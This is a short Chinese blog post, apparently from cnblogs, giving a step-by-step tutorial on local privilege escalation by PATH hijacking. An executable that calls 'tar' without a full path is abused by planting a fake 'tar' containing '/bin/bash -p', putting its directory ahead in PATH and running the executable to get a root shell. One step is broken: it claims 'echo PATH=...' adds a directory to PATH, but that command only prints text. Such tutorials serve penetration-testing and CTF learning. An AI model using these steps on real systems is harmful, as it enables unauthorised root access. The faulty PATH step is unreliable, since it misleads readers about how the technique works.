首页 > 编程语言 >通过未引用路径的程序来提权

通过未引用路径的程序来提权

时间:2023-01-31 18:57:03浏览次数:45  
标签:bin tar 路径 提权 引用 file PATH usr

有些文件可执行,且其中包含一个命令去调用另一个程序,而被调用的程序并没用路径引用,那么可以通过改系统路径的方式来提权

例如有个file文件

strings file

tar xxxxx xxxxx  
/bin/vim xxx   xxx

那么其中,可以通过tar来提权

 

操作

1.先移动到另一个路径下

例:cd /home/jhinjax

 

2.将该路径添加到系统PATH里

echo PATH=/home/jhinjax:$PATH

此时查看系统路径的话可以看到该路径已被添加

echo $PATH
    /home/jhinjax:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

 

3.在该路径下创建一个相同的程序

echo "/bin/bash -p" > tar

加执行权限

chmod  +x tar

 

4.最后回到file存在的路径,运行file即可变为root

./file

 

标签:bin,tar,路径,提权,引用,file,PATH,usr
From: https://www.cnblogs.com/jhinjax/p/17080193.html

相关文章

  • CAP4——视图引用功能介绍
    功能说明:视图引用是将基础数据汇总到一张表中,并且可来源于不同表单的视图进行聚合显示,实现基础数据的分离存储管理、和聚合拼装显示,同时可以减少自动关联以及触发等业务......
  • Response相对路径 绝对路径
    路径写法1.路径分类1.相对路径:通过相对路径不可以确定唯一资源如./index.html不以/开头,以.开头路径规则:找到当前资......
  • nginx 子路径 网站图片或js/css 路径缺失 替换
     nginx子路径网站图片或js/css路径缺失替换location/test{rewrite^/test/(.*)$/$1break;proxy_passhttp://localhost:8080;sub_......
  • Linux下so库获取当前路径
    之前尝试在so库内调用getpwd()来获取当前路径,但是实际上获取到的是调用so库的可执行程序的所在路径,因此改用dladdr()做一些间接处理来获取。#include<dlfcn.h>#include<......
  • Revit二次开发针对类库项目中WPF界面如何引用第三方控件库HandyControl的方法
    起因是当使用类库作为WPF界面的项目时,项目中没有App.xaml,也就导致没有办法在全局资源中统一设置HandyControl的资源。解决方案很简单安装完HandyControl库后,在Window中加......
  • 解决webstorm不能识别vue的@路径引用
    方式1: webstorm无法识别@符号问题[ctrl+左键无法跳转]解决:创建vue项目,打开项目后,再进入webstorm配置页面[否则没有webpack选项]ctrl+alt+s[进入设置页面]->langua......
  • C++运算符重载引用传参与返回引用的小小心得
    1#include<bits/stdc++.h>23usingnamespacestd;45//平面向量类,提供完成向量运算和比较的API6//除递增运算符和左移运算符重载外其他函数省略78......
  • JVM是如何解决跨代引用问题的?
    本文已收录至Github,推荐阅读......
  • 下标引用函数调用和表达式求值
    前言:下标的用法非常非常的重要关乎到数组函数指针结构体等等一切,函数的调用也有很多细节表达式求值涉及优先级问题要注意1.下标引用、函数调用和结构成员注:一切下标又是从0......
  • 0137-Go-文件路径
    环境Time2022-08-25Go1.19前言说明参考:https://gobyexample.com/file-paths目标使用Go语言处理文件路径。示例packagemainimport("fmt""path......